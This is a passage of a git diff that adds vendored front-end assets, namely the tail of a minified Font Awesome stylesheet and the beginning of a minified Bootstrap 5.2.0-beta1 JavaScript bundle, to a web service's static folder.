}.fa-lyft:before{content:"\f3c3"}.fa-magento:before{content:"\f3c4"}.fa-mailchimp:before{content:"\f59e"}.fa-mandalorian:before{content:"\f50f"}.fa-markdown:before{content:"\f60f"}.fa-mastodon:before{content:"\f4f6"}.fa-maxcdn:before{content:"\f136"}.fa-mdb:before{content:"\f8ca"}.fa-medapps:before{content:"\f3c6"}.fa-medium-m:before,.fa-medium:before{content:"\f23a"}.fa-medrt:before{content:"\f3c8"}.fa-meetup:before{content:"\f2e0"}.fa-megaport:before{content:"\f5a3"}.fa-mendeley:before{content:"\f7b3"}.fa-microblog:before{content:"\e01a"}.fa-microsoft:before{content:"\f3ca"}.fa-mix:before{content:"\f3cb"}.fa-mixcloud:before{content:"\f289"}.fa-mixer:before{content:"\e056"}.fa-mizuni:before{content:"\f3cc"}.fa-modx:before{content:"\f285"}.fa-monero:before{content:"\f3d0"}.fa-napster:before{content:"\f3d2"}.fa-neos:before{content:"\f612"}.fa-nfc-directional:before{content:"\e530"}.fa-nfc-symbol:before{content:"\e531"}.fa-nimblr:before{content:"\f5a8"}.fa-node:before{content:"\f419"}.fa-node-js:before{content:"\f3d3"}.fa-npm:before{content:"\f3d4"}.fa-ns8:before{content:"\f3d5"}.fa-nutritionix:before{content:"\f3d6"}.fa-octopus-deploy:before{content:"\e082"}.fa-odnoklassniki:before{content:"\f263"}.fa-odnoklassniki-square:before{content:"\f264"}.fa-old-republic:before{content:"\f510"}.fa-opencart:before{content:"\f23d"}.fa-openid:before{content:"\f19b"}.fa-opera:before{content:"\f26a"}.fa-optin-monster:before{content:"\f23c"}.fa-orcid:before{content:"\f8d2"}.fa-osi:before{content:"\f41a"}.fa-padlet:before{content:"\e4a0"}.fa-page4:before{content:"\f3d7"}.fa-pagelines:before{content:"\f18c"}.fa-palfed:before{content:"\f3d8"}.fa-patreon:before{content:"\f3d9"}.fa-paypal:before{content:"\f1ed"}.fa-perbyte:before{content:"\e083"}.fa-periscope:before{content:"\f3da"}.fa-phabricator:before{content:"\f3db"}.fa-phoenix-framework:before{content:"\f3dc"}.fa-phoenix-squadron:before{content:"\f511"}.fa-php:before{content:"\f457"}.fa-pied-piper:before{content:"\f2ae"}.fa-pied-piper-alt:before{content:"\f1a8"}.fa-pied-piper-hat:before{content:"\f4e5"}.fa-pied-piper-pp:before{content:"\f1a7"}.fa-pied-piper-square:before{content:"\e01e"}.fa-pinterest:before{content:"\f0d2"}.fa-pinterest-p:before{content:"\f231"}.fa-pinterest-square:before{content:"\f0d3"}.fa-pix:before{content:"\e43a"}.fa-playstation:before{content:"\f3df"}.fa-product-hunt:before{content:"\f288"}.fa-pushed:before{content:"\f3e1"}.fa-python:before{content:"\f3e2"}.fa-qq:before{content:"\f1d6"}.fa-quinscape:before{content:"\f459"}.fa-quora:before{content:"\f2c4"}.fa-r-project:before{content:"\f4f7"}.fa-raspberry-pi:before{content:"\f7bb"}.fa-ravelry:before{content:"\f2d9"}.fa-react:before{content:"\f41b"}.fa-reacteurope:before{content:"\f75d"}.fa-readme:before{content:"\f4d5"}.fa-rebel:before{content:"\f1d0"}.fa-red-river:before{content:"\f3e3"}.fa-reddit:before{content:"\f1a1"}.fa-reddit-alien:before{content:"\f281"}.fa-reddit-square:before{content:"\f1a2"}.fa-redhat:before{content:"\f7bc"}.fa-renren:before{content:"\f18b"}.fa-replyd:before{content:"\f3e6"}.fa-researchgate:before{content:"\f4f8"}.fa-resolving:before{content:"\f3e7"}.fa-rev:before{content:"\f5b2"}.fa-rocketchat:before{content:"\f3e8"}.fa-rockrms:before{content:"\f3e9"}.fa-rust:before{content:"\e07a"}.fa-safari:before{content:"\f267"}.fa-salesforce:before{content:"\f83b"}.fa-sass:before{content:"\f41e"}.fa-schlix:before{content:"\f3ea"}.fa-screenpal:before{content:"\e570"}.fa-scribd:before{content:"\f28a"}.fa-searchengin:before{content:"\f3eb"}.fa-sellcast:before{content:"\f2da"}.fa-sellsy:before{content:"\f213"}.fa-servicestack:before{content:"\f3ec"}.fa-shirtsinbulk:before{content:"\f214"}.fa-shopify:before{content:"\e057"}.fa-shopware:before{content:"\f5b5"}.fa-simplybuilt:before{content:"\f215"}.fa-sistrix:before{content:"\f3ee"}.fa-sith:before{content:"\f512"}.fa-sitrox:before{content:"\e44a"}.fa-sketch:before{content:"\f7c6"}.fa-skyatlas:before{content:"\f216"}.fa-skype:before{content:"\f17e"}.fa-slack-hash:before,.fa-slack:before{content:"\f198"}.fa-slideshare:before{content:"\f1e7"}.fa-snapchat-ghost:before,.fa-snapchat:before{content:"\f2ab"}.fa-snapchat-square:before{content:"\f2ad"}.fa-soundcloud:before{content:"\f1be"}.fa-sourcetree:before{content:"\f7d3"}.fa-speakap:before{content:"\f3f3"}.fa-speaker-deck:before{content:"\f83c"}.fa-spotify:before{content:"\f1bc"}.fa-square-font-awesome:before{content:"\f425"}.fa-font-awesome-alt:before,.fa-square-font-awesome-stroke:before{content:"\f35c"}.fa-squarespace:before{content:"\f5be"}.fa-stack-exchange:before{content:"\f18d"}.fa-stack-overflow:before{content:"\f16c"}.fa-stackpath:before{content:"\f842"}.fa-staylinked:before{content:"\f3f5"}.fa-steam:before{content:"\f1b6"}.fa-steam-square:before{content:"\f1b7"}.fa-steam-symbol:before{content:"\f3f6"}.fa-sticker-mule:before{content:"\f3f7"}.fa-strava:before{content:"\f428"}.fa-stripe:before{content:"\f429"}.fa-stripe-s:before{content:"\f42a"}.fa-studiovinari:before{content:"\f3f8"}.fa-stumbleupon:before{content:"\f1a4"}.fa-stumbleupon-circle:before{content:"\f1a3"}.fa-superpowers:before{content:"\f2dd"}.fa-supple:before{content:"\f3f9"}.fa-suse:before{content:"\f7d6"}.fa-swift:before{content:"\f8e1"}.fa-symfony:before{content:"\f83d"}.fa-teamspeak:before{content:"\f4f9"}.fa-telegram-plane:before,.fa-telegram:before{content:"\f2c6"}.fa-tencent-weibo:before{content:"\f1d5"}.fa-the-red-yeti:before{content:"\f69d"}.fa-themeco:before{content:"\f5c6"}.fa-themeisle:before{content:"\f2b2"}.fa-think-peaks:before{content:"\f731"}.fa-tiktok:before{content:"\e07b"}.fa-trade-federation:before{content:"\f513"}.fa-trello:before{content:"\f181"}.fa-tumblr:before{content:"\f173"}.fa-tumblr-square:before{content:"\f174"}.fa-twitch:before{content:"\f1e8"}.fa-twitter:before{content:"\f099"}.fa-twitter-square:before{content:"\f081"}.fa-typo3:before{content:"\f42b"}.fa-uber:before{content:"\f402"}.fa-ubuntu:before{content:"\f7df"}.fa-uikit:before{content:"\f403"}.fa-umbraco:before{content:"\f8e8"}.fa-uncharted:before{content:"\e084"}.fa-uniregistry:before{content:"\f404"}.fa-unity:before{content:"\e049"}.fa-unsplash:before{content:"\e07c"}.fa-untappd:before{content:"\f405"}.fa-ups:before{content:"\f7e0"}.fa-usb:before{content:"\f287"}.fa-usps:before{content:"\f7e1"}.fa-ussunnah:before{content:"\f407"}.fa-vaadin:before{content:"\f408"}.fa-viacoin:before{content:"\f237"}.fa-viadeo:before{content:"\f2a9"}.fa-viadeo-square:before{content:"\f2aa"}.fa-viber:before{content:"\f409"}.fa-vimeo:before{content:"\f40a"}.fa-vimeo-square:before{content:"\f194"}.fa-vimeo-v:before{content:"\f27d"}.fa-vine:before{content:"\f1ca"}.fa-vk:before{content:"\f189"}.fa-vnv:before{content:"\f40b"}.fa-vuejs:before{content:"\f41f"}.fa-watchman-monitoring:before{content:"\e087"}.fa-waze:before{content:"\f83f"}.fa-weebly:before{content:"\f5cc"}.fa-weibo:before{content:"\f18a"}.fa-weixin:before{content:"\f1d7"}.fa-whatsapp:before{content:"\f232"}.fa-whatsapp-square:before{content:"\f40c"}.fa-whmcs:before{content:"\f40d"}.fa-wikipedia-w:before{content:"\f266"}.fa-windows:before{content:"\f17a"}.fa-wirsindhandwerk:before,.fa-wsh:before{content:"\e2d0"}.fa-wix:before{content:"\f5cf"}.fa-wizards-of-the-coast:before{content:"\f730"}.fa-wodu:before{content:"\e088"}.fa-wolf-pack-battalion:before{content:"\f514"}.fa-wordpress:before{content:"\f19a"}.fa-wordpress-simple:before{content:"\f411"}.fa-wpbeginner:before{content:"\f297"}.fa-wpexplorer:before{content:"\f2de"}.fa-wpforms:before{content:"\f298"}.fa-wpressr:before{content:"\f3e4"}.fa-xbox:before{content:"\f412"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}.fa-y-combinator:before{content:"\f23b"}.fa-yahoo:before{content:"\f19e"}.fa-yammer:before{content:"\f840"}.fa-yandex:before{content:"\f413"}.fa-yandex-international:before{content:"\f414"}.fa-yarn:before{content:"\f7e3"}.fa-yelp:before{content:"\f1e9"}.fa-yoast:before{content:"\f2b1"}.fa-youtube:before{content:"\f167"}.fa-youtube-square:before{content:"\f431"}.fa-zhihu:before{content:"\f63f"}:host,:root{--fa-font-regular:normal 400 1em/1 "Font Awesome 6 Free"}@font-face{font-family:"Font Awesome 6 Free";font-style:normal;font-weight:400;font-display:block;src:url(../webfonts/fa-regular-400.woff2) format("woff2"),url(../webfonts/fa-regular-400.ttf) format("truetype")}.fa-regular,.far{font-family:"Font Awesome 6 Free";font-weight:400}:host,:root{--fa-font-solid:normal 900 1em/1 "Font Awesome 6 Free"}@font-face{font-family:"Font Awesome 6 Free";font-style:normal;font-weight:900;font-display:block;src:url(../webfonts/fa-solid-900.woff2) format("woff2"),url(../webfonts/fa-solid-900.ttf) format("truetype")}.fa-solid,.fas{font-family:"Font Awesome 6 Free";font-weight:900}@font-face{font-family:"Font Awesome 5 Brands";font-display:block;font-weight:400;src:url(../webfonts/fa-brands-400.woff2) format("woff2"),url(../webfonts/fa-brands-400.ttf) format("truetype")}@font-face{font-family:"Font Awesome 5 Free";font-display:block;font-weight:900;src:url(../webfonts/fa-solid-900.woff2) format("woff2"),url(../webfonts/fa-solid-900.ttf) format("truetype")}@font-face{font-family:"Font Awesome 5 Free";font-display:block;font-weight:400;src:url(../webfonts/fa-regular-400.woff2) format("woff2"),url(../webfonts/fa-regular-400.ttf) format("truetype")}@font-face{font-family:"FontAwesome";font-display:block;src:url(../webfonts/fa-solid-900.woff2) format("woff2"),url(../webfonts/fa-solid-900.ttf) format("truetype")}@font-face{font-family:"FontAwesome";font-display:block;src:url(../webfonts/fa-brands-400.woff2) format("woff2"),url(../webfonts/fa-brands-400.ttf) format("truetype")}@font-face{font-family:"FontAwesome";font-display:block;src:url(../webfonts/fa-regular-400.woff2) format("woff2"),url(../webfonts/fa-regular-400.ttf) format("truetype");unicode-range:u+f003,u+f006,u+f014,u+f016-f017,u+f01a-f01b,u+f01d,u+f022,u+f03e,u+f044,u+f046,u+f05c-f05d,u+f06e,u+f070,u+f087-f088,u+f08a,u+f094,u+f096-f097,u+f09d,u+f0a0,u+f0a2,u+f0a4-f0a7,u+f0c5,u+f0c7,u+f0e5-f0e6,u+f0eb,u+f0f6-f0f8,u+f10c,u+f114-f115,u+f118-f11a,u+f11c-f11d,u+f133,u+f147,u+f14e,u+f150-f152,u+f185-f186,u+f18e,u+f190-f192,u+f196,u+f1c1-f1c9,u+f1d9,u+f1db,u+f1e3,u+f1ea,u+f1f7,u+f1f9,u+f20a,u+f247-f248,u+f24a,u+f24d,u+f255-f25b,u+f25d,u+f271-f274,u+f278,u+f27b,u+f28c,u+f28e,u+f29c,u+f2b5,u+f2b7,u+f2ba,u+f2bc,u+f2be,u+f2c0-f2c1,u+f2c3,u+f2d0,u+f2d2,u+f2d4,u+f2dc}@font-face{font-family:"FontAwesome";font-display:block;src:url(../webfonts/fa-v4compatibility.woff2) format("woff2"),url(../webfonts/fa-v4compatibility.ttf) format("truetype");unicode-range:u+f041,u+f047,u+f065-f066,u+f07d-f07e,u+f080,u+f08b,u+f08e,u+f090,u+f09a,u+f0ac,u+f0ae,u+f0b2,u+f0d0,u+f0d6,u+f0e4,u+f0ec,u+f10a-f10b,u+f123,u+f13e,u+f148-f149,u+f14c,u+f156,u+f15e,u+f160-f161,u+f163,u+f175-f178,u+f195,u+f1f8,u+f219,u+f250,u+f252,u+f27a} \ No newline at end of file diff --git a/services/service1/service/closedsea/src/static/bootstrap.bundle.min.js b/services/service1/service/closedsea/src/static/bootstrap.bundle.min.js new file mode 100644 index 0000000..d395851 --- /dev/null +++ b/services/service1/service/closedsea/src/static/bootstrap.bundle.min.js @@ -0,0 +1,7 @@ +/*! + * Bootstrap v5.2.0-beta1 (https://getbootstrap.com/) + * Copyright 2011-2022 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) + */ +!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t||self).bootstrap=e()}(this,(function(){"use strict";const t="transitionend",e=t=>{let e=t.getAttribute("data-bs-target");if(!e||"#"===e){let i=t.getAttribute("href");if(!i||!i.includes("#")&&!i.startsWith("."))return null;i.includes("#")&&!i.startsWith("#")&&(i=`#${i.split("#")[1]}`),e=i&&"#"!==i?i.trim():null}return e},i=t=>{const i=e(t);return i&&document.querySelector(i)?i:null},n=t=>{const i=e(t);return i?document.querySelector(i):null},s=e=>{e.dispatchEvent(new Event(t))},o=t=>!(!t||"object"!=typeof t)&&(void 0!==t.jquery&&(t=t[0]),void 0!==t.nodeType),r=t=>o(t)?t.jquery?t[0]:t:"string"==typeof t&&t.length>0?document.querySelector(t):null,a=t=>{if(!o(t)||0===t.getClientRects().length)return!1;const e="visible"===getComputedStyle(t).getPropertyValue("visibility"),i=t.closest("details:not([open])");if(!i)return e;if(i!==t){const e=t.closest("summary");if(e&&e.parentNode!==i)return!1;if(null===e)return!1}return e},l=t=>!t||t.nodeType!==Node.ELEMENT_NODE||!!t.classList.contains("disabled")||(void 0!==t.disabled?t.disabled:t.hasAttribute("disabled")&&"false"!==t.getAttribute("disabled")),c=t=>{if(!document.documentElement.attachShadow)return null;if("function"==typeof t.getRootNode){const e=t.getRootNode();return e instanceof ShadowRoot?e:null}return t instanceof ShadowRoot?t:t.parentNode?c(t.parentNode):null},h=()=>{},d=t=>{t.offsetHeight},u=()=>window.jQuery&&!document.body.hasAttribute("data-bs-no-jquery")?window.jQuery:null,f=[],p=()=>"rtl"===document.documentElement.dir,g=t=>{var e;e=()=>{const e=u();if(e){const i=t.NAME,n=e.fn[i];e.fn[i]=t.jQueryInterface,e.fn[i].Constructor=t,e.fn[i].noConflict=()=>(e.fn[i]=n,t.jQueryInterface)}},"loading"===document.readyState?(f.length||document.addEventListener("DOMContentLoaded",(()=>{for(const t of f)t()})),f.push(e)):e()},m=t=>{"function"==typeof t&&t()},_=(e,i,n=!0)=>{if(!n)return void m(e);const o=(t=>{if(!t)return 0;let{transitionDuration:e,transitionDelay:i}=window.getComputedStyle(t);const n=Number.parseFloat(e),s=Number.parseFloat(i);return n||s?(e=e.split(",")[0],i=i.split(",")[0],1e3*(Number.parseFloat(e)+Number.parseFloat(i))):0})(i)+5;let r=!1;const a=({target:n})=>{n===i&&(r=!0,i.removeEventListener(t,a),m(e))};i.addEventListener(t,a),setTimeout((()=>{r||s(i)}),o)},b=(t,e,i,n)=>{const s=t.length;let o=t.indexOf(e);return-1===o?!i&&n?t[s-1]:t[0]:(o+=i?1:-1,n&&(o=(o+s)%s),t[Math.max(0,Math.min(o,s-1))])},v=/[^.]*(?=\..*)\.|.*/,y=/\..*/,w=/::\d+$/,A={};let E=1;const T={mouseenter:"mouseover",mouseleave:"mouseout"},C=new Set(["click","dblclick","mouseup","mousedown","contextmenu","mousewheel","DOMMouseScroll","mouseover","mouseout","mousemove","selectstart","selectend","keydown","keypress","keyup","orientationchange","touchstart","touchmove","touchend","touchcancel","pointerdown","pointermove","pointerup","pointerleave","pointercancel","gesturestart","gesturechange","gestureend","focus","blur","change","reset","select","submit","focusin","focusout","load","unload","beforeunload","resize","move","DOMContentLoaded","readystatechange","error","abort","scroll"]);function O(t,e){return e&&`${e}::${E++}`||t.uidEvent||E++}function x(t){const e=O(t);return t.uidEvent=e,A[e]=A[e]||{},A[e]}function k(t,e,i=null){return Object.values(t).find((t=>t.originalHandler===e&&t.delegationSelector===i))}function L(t,e,i){const n="string"==typeof e,s=n?i:e;let o=N(t);return C.has(o)||(o=t),[n,s,o]}function D(t,e,i,n,s){if("string"!=typeof e||!t)return;if(i||(i=n,n=null),e in T){const t=t=>function(e){if(!e.relatedTarget||e.relatedTarget!==e.delegateTarget&&!e.delegateTarget.contains(e.relatedTarget))return t.call(this,e)};n?n=t(n):i=t(i)}const[o,r,a]=L(e,i,n),l=x(t),c=l[a]||(l[a]={}),h=k(c,r,o?i:null);if(h)return void(h.oneOff=h.oneOff&&s);const d=O(r,e.replace(v,"")),u=o?function(t,e,i){return function n(s){const o=t.querySelectorAll(e);for(let{target:r}=s;r&&r!==this;r=r.parentNode)for(const a of o)if(a===r)return s.delegateTarget=r,n.oneOff&&P.off(t,s.type,e,i),i.apply(r,[s])}}(t,i,n):function(t,e){return function i(n){return n.delegateTarget=t,i.oneOff&&P.off(t,n.type,e),e.apply(t,[n])}}(t,i);u.delegationSelector=o?i:null,u.originalHandler=r,u.oneOff=s,u.uidEvent=d,c[d]=u,t.addEventListener(a,u,o)}function S(t,e,i,n,s){const o=k(e[i],n,s);o&&(t.removeEventListener(i,o,Boolean(s)),delete e[i][o.uidEvent])}function I(t,e,i,n){const s=e[i]||{};for(const o of Object.keys(s))if(o.includes(n)){const n=s[o];S(t,e,i,n.originalHandler,n.delegationSelector)}}function N(t){return t=t.replace(y,""),T[t]||t}const P={on(t,e,i,n){D(t,e,i,n,!1)},one(t,e,i,n){D(t,e,i,n,!0)},off(t,e,i,n){if("string"!=typeof e||!t)return;const[s,o,r]=L(e,i,n),a=r!==e,l=x(t),c=e.startsWith(".");if(void 0!==o){if(!l||!l[r])return;return void S(t,l,r,o,s?i:null)}if(c)for(const i of Object.keys(l))I(t,l,i,e.slice(1));const h=l[r]||{};for(const i of Object.keys(h)){const n=i.replace(w,"");if(!a||e.includes(n)){const e=h[i];S(t,l,r,e.originalHandler,e.delegationSelector)}}},trigger(t,e,i){if("string"!=typeof e||!t)return null;const n=u();let s=null,o=!0,r=!0,a=!1;e!==N(e)&&n&&(s=n.Event(e,i),n(t).trigger(s),o=!s.isPropagationStopped(),r=!s.isImmediatePropagationStopped(),a=s.isDefaultPrevented());const l=new Event(e,{bubbles:o,cancelable:!0});if(void 0!==i)for(const t of Object.keys(i))Object.defineProperty(l,t,{get:()=>i[t]});return a&&l.preventDefault(),r&&t.dispatchEvent(l),l.defaultPrevented&&s&&s.preventDefault(),l}},M=new Map,j={set(t,e,i){M.has(t)||M.set(t,new Map);const n=M.get(t);n.has(e)||0===n.size?n.set(e,i):console.error(`Bootstrap doesn't allow more than one instance per element. Bound instance: ${Array.from(n.keys())[0]}.`)},get:(t,e)=>M.has(t)&&M.get(t).get(e)||null,remove(t,e){if(!M.has(t))return;const i=M.get(t);i.delete(e),0===i.size&&M.delete(t)}};function H(t){if("true"===t)return!0;if("false"===t)return!1;if(t===Number(t).toString())return Number(t);if(""===t||"null"===t)return null;if("string"!=typeof t)return t;try{return JSON.parse(decodeURIComponent(t))}catch(e){return t}}function $(t){return t.replace(/[A-Z]/g,(t=>`-${t.toLowerCase()}`))}const W={setDataAttribute(t,e,i){t.setAttribute(`data-bs-${$(e)}`,i)},removeDataAttribute(t,e){t.removeAttribute(`data-bs-${$(e)}`)},getDataAttributes(t){if(!t)return{};const e={},i=Object.keys(t.dataset).filter((t=>t.startsWith("bs")&&!t.startsWith("bsConfig")));for(const n of i){let i=n.replace(/^bs/,"");i=i.charAt(0).toLowerCase()+i.slice(1,i.length),e[i]=H(t.dataset[n])}return e},getDataAttribute:(t,e)=>H(t.getAttribute(`data-bs-${$(e)}`))};class B{static get Default(){return{}}static get DefaultType(){return{}}static get NAME(){throw new Error('You have to implement the static method "NAME", for each component!')}_getConfig(t){return t=this._mergeConfigObj(t),t=this._configAfterMerge(t),this._typeCheckConfig(t),t}_configAfterMerge(t){return t}_mergeConfigObj(t,e){const i=o(e)?W.getDataAttribute(e,"config"):{};return{...this.constructor.Default,..."object"==typeof i?i:{},...o(e)?W.getDataAttributes(e):{},..."object"==typeof t?t:{}}}_typeCheckConfig(t,e=this.constructor.DefaultType){for(const n of Object.keys(e)){const s=e[n],r=t[n],a=o(r)?"element":null==(i=r)?`${i}`:Object.prototype.toString.call(i).match(/\s([a-z]+)/i)[1].toLowerCase();if(!new RegExp(s).test(a))throw new TypeError(`${this.constructor.NAME.toUpperCase()}: Option "${n}" provided type "${a}" but expected type "${s}".`)}var i}}class F extends B{constructor(t,e){super(),(t=r(t))&&(this._element=t,this._config=this._getConfig(e),j.set(this._element,this.constructor.DATA_KEY,this))}dispose(){j.remove(this._element,this.constructor.DATA_KEY),P.off(this._element,this.constructor.EVENT_KEY);for(const t of Object.getOwnPropertyNames(this))this[t]=null}_queueCallback(t,e,i=!0){_(t,e,i)}_getConfig(t){return t=this._mergeConfigObj(t,this._element),t=this._configAfterMerge(t),this._typeCheckConfig(t),t}static getInstance(t){return j.get(r(t),this.DATA_KEY)}static getOrCreateInstance(t,e={}){return this.getInstance(t)||new this(t,"object"==typeof e?e:null)}static get VERSION(){return"5.2.0-beta1"}static get DATA_KEY(){return`bs.${this.NAME}`}static get EVENT_KEY(){return`.${this.DATA_KEY}`}static eventName(t){return`${t}${this.EVENT_KEY}`}}const z=(t,e="hide")=>{const i=`click.dismiss${t.EVENT_KEY}`,s=t.NAME;P.on(document,i,`[data-bs-dismiss="${s}"]`,(function(i){if(["A","AREA"].includes(this.tagName)&&i.preventDefault(),l(this))return;const o=n(this)||this.closest(`.${s}`);t.getOrCreateInstance(o)[e]()}))};class R extends F{static get NAME(){return"alert"}close(){if(P.trigger(this._element,"close.bs.alert").defaultPrevented)return;this._element.classList.remove("show");const t=this._element.classList.contains("fade");this._queueCallback((()=>this._destroyElement()),this._element,t)}_destroyElement(){this._element.remove(),P.trigger(this._element,"closed.bs.alert"),this.dispose()}static jQueryInterface(t){return this.each((function(){const e=R.getOrCreateInstance(this);if("string"==typeof t){if(void 0===e[t]||t.startsWith("_")||"constructor"===t)throw new TypeError(`No method named "${t}"`);e[t](this)}}))}}z(R,"close"),g(R);const q='[data-bs-toggle="button"]';class V extends F{static get NAME(){return"button"}toggle(){this._element.setAttribute("aria-pressed",this._element.classList.toggle("active"))}static jQueryInterface(t){return this.each((function(){const e=V.getOrCreateInstance(this);"toggle"===t&&e[t]()}))}}P.on(document,"click.bs.button.data-api",q,(t=>{t.preventDefault();const e=t.target.closest(q);V.getOrCreateInstance(e).toggle()})),g(V);const K={find:(t,e=document.documentElement)=>[].concat(...Element.prototype.querySelectorAll.call(e,t)),findOne:(t,e=document.documentElement)=>Element.prototype.querySelector.call(e,t),children:(t,e)=>[].concat(...t.children).filter((t=>t.matches(e))),parents(t,e){const i=[];let n=t.parentNode.closest(e);for(;n;)i.push(n),n=n.parentNode.closest(e);return i},prev(t,e){let i=t.previousElementSibling;for(;i;){if(i.matches(e))return[i];i=i.previousElementSibling}return[]},next(t,e){let i=t.nextElementSibling;for(;i;){if(i.matches(e))return[i];i=i.nextElementSibling}return[]},focusableChildren(t){const e=["a","button","input","textarea","select","details","[tabindex]",'[contenteditable="true"]'].map((t=>`${t}:not([tabindex^="-"])`)).join(",");return this.find(e,t).filter((t=>!l(t)&&a(t)))}},Q={leftCallback:null,rightCallback:null,endCallback:null},X={leftCallback:"(function|null)",rightCallback:"(function|null)",endCallback:"(function|null)"};class Y extends B{constructor(t,e){super(),this._element=t,t&&Y.isSupported()&&(this._config=this._getConfig(e),this._deltaX=0,this._supportPointerEvents=Boolean(window.PointerEvent),this._initEvents())}static get Default(){return Q}static get DefaultType(){return X}static get NAME(){return"swipe"}dispose(){P.off(this._element,".bs.swipe")}_start(t){this._supportPointerEvents?this._eventIsPointerPenTouch(t)&&(this._deltaX=t.clientX):this._deltaX=t.touches[0].clientX}_end(t){this._eventIsPointerPenTouch(t)&&(this._deltaX=t.clientX-this._deltaX),this._handleSwipe(),m(this._config.endCallback)}_move(t){this._deltaX=t.touches&&t.touches.length>1?0:t.touches[0].clientX-this._deltaX}_handleSwipe(){const t=Math.abs(this._deltaX);if(t<=40)return;const e=t/this._deltaX;this._deltaX=0,e&&m(e>0?this._config.rightCallback:this._config.leftCallback)}_initEvents(){this._supportPointerEvents?(P.on(this._element,"pointerdown.bs.swipe",(t=>this._start(t))),P.on(this._element,"pointerup.bs.swipe",(t=>this._end(t))),this._element.classList.add("pointer-event")):(P.on(this._element,"touchstart.bs.swipe",(t=>this._start(t))),P.on(this._element,"touchmove.bs.swipe",(t=>this._move(t))),P.on(this._element,"touchend.bs.swipe",(t=>this._end(t))))}_eventIsPointerPenTouch(t){return this._supportPointerEvents&&("pen"===t.pointerType||"touch"===t.pointerType)}static isSupported(){return"ontouchstart"in document.documentElement||navigator.maxTouchPoints>0}}const U="next",G="prev",J="left",Z="right",tt="slid.bs.carousel",et="carousel",it="active",nt={ArrowLeft:Z,ArrowRight:J},st={interval:5e3,keyboard:!0,pause:"hover",ride:!1,touch:!0,wrap:!0},ot={interval:"(number|boolean)",keyboard:"boolean",ride:"(boolean|string)",pause:"(string|boolean)",touch:"boolean",wrap:"boolean"};class rt extends F{constructor(t,e){super(t,e),this._interval=null,this._activeElement=null,this._isSliding=!1,this.touchTimeout=null,this._swipeHelper=null,this._indicatorsElement=K.findOne(".carousel-indicators",this._element),this._addEventListeners(),this._config.ride===et&&this.cycle()}static get Default(){return st}static get DefaultType(){return ot}static get NAME(){return"carousel"}next(){this._slide(U)}nextWhenVisible(){!document.hidden&&a(this._element)&&this.next()}prev(){this._slide(G)}pause(){this._isSliding&&s(this._element),this._clearInterval()}cycle(){this._clearInterval(),this._updateInterval(),this._interval=setInterval((()=>this.nextWhenVisible()),this._config.interval)}_maybeEnableCycle(){this._config.ride&&(this._isSliding?P.one(this._element,tt,(()=>this.cycle())):this.cycle())}to(t){const e=this._getItems();if(t>e.length-1||t<0)return;if(this._isSliding)return void P.one(this._element,tt,(()=>this.to(t)));const i=this._getItemIndex(this._getActive());if(i===t)return;const n=t>i?U:G;this._slide(n,e[t])}dispose(){this._swipeHelper&&this._swipeHelper.dispose(),super.dispose()}_configAfterMerge(t){return t.defaultInterval=t.interval,t}_addEventListeners(){this._config.keyboard&&P.on(this._element,"keydown.bs.carousel",(t=>this._keydown(t))),"hover"===this._config.pause&&(P.on(this._element,"mouseenter.bs.carousel",(()=>this.pause())),P.on(this._element,"mouseleave.bs.carousel",(()=>this._maybeEnableCycle()))),this._config.touch&&Y.isSupported()&&this._addTouchEventListeners()}_addTouchEventListeners(){for(const t of K.find(".carousel-item img",this._element))P.on(t,"dragstart.bs.carousel",(t=>t.preventDefault()));const t={leftCallback:()=>this._slide(this._directionToOrder(J)),rightCallback:()=>this._slide(this._directionToOrder(Z)),endCallback:()=>{"hover"===this._config.pause&&(this.pause(),this.touchTimeout&&clearTimeout(this.touchTimeout),this.touchTimeout=setTimeout((()=>this._maybeEnableCycle()),500+this._config.interval))}};this._swipeHelper=new Y(this._element,t)}_keydown(t){if(/input|textarea/i.test(t.target.tagName))return;const e=nt[t.key];e&&(t.preventDefault(),this._slide(this._directionToOrder(e)))}_getItemIndex(t){return this._getItems().indexOf(t)}_setActiveIndicatorElement(t){if(!this._indicatorsElement)return;const e=K.findOne(".active",this._indicatorsElement);e.classList.remove(it),e.removeAttribute("aria-current");const i=K.findOne(`[data-bs-slide-to="${t}"]`,this._indicatorsElement);i&&(i.classList.add(it),i.setAttribute("aria-current","true"))}_updateInterval(){const t=this._activeElement||this._getActive();if(!t)return;const e=Number.parseInt(t.getAttribute("data-bs-interval"),10);this._config.interval=e||this._config.defaultInterval}_slide(t,e=null){if(this._isSliding)return;const i=this._getActive(),n=t===U,s=e||b(this._getItems(),i,n,this._config.wrap);if(s===i)return;const o=this._getItemIndex(s),r=e=>P.trigger(this._element,e,{relatedTarget:s,direction:this._orderToDirection(t),from:this._getItemIndex(i),to:o});if(r("slide.bs.carousel").defaultPrevented)return;if(!i||!s)return;const a=Boolean(this._interval);this.pause(),this._isSliding=!0,this._setActiveIndicatorElement(o),this._activeElement=s;const l=n?"carousel-item-start":"carousel-item-end",c=n?"carousel-item-next":"carousel-item-prev";s.classList.add(c),d(s),i.classList.add(l),s.classList.add(l),this._queueCallback((()=>{s.classList.remove(l,c),s.classList.add(it),i.classList.remove(it,c,l),this._isSliding=!1,r(tt)}),i,this._isAnimated()),a&&this.cycle()}_isAnimated(){return this._element.classList.contains("slide")}_getActive(){return K.findOne(".active.carousel-item",this._element)}_getItems(){return K.find(".carousel-item",this._element)}_clearInterval(){this._interval&&(clearInterval(this._interval),this._interval=null)}_directionToOrder(t){return p()?t===J?G:U:t===J?U:G}_orderToDirection(t){return p()?t===G?J:Z:t===G?Z:J}static jQueryInterface(t){return this.each((function(){const e=rt.getOrCreateInstance(this,t);if("number"!=typeof t){if("string"==typeof t){if(void 0===e[t]||t.startsWith("_")||"constructor"===t)throw new TypeError(`No method named "${t}"`);e[t]()}}else e.to(t)}))}}P.on(document,"click.bs.carousel.data-api","[data-bs-slide], [data-bs-slide-to]",(function(t){const e=n(this);if(!e||!e.classList.contains(et))return;t.preventDefault();const i=rt.getOrCreateInstance(e),s=this.getAttribute("data-bs-slide-to");return s?(i.to(s),void i._maybeEnableCycle()):"next"===W.getDataAttribute(this,"slide")?(i.next(),void i._maybeEnableCycle()):(i.prev(),void i._maybeEnableCycle())})),P.on(window,"load.bs.carousel.data-api",(()=>{const t=K.find('[data-bs-ride="carousel"]');for(const e of 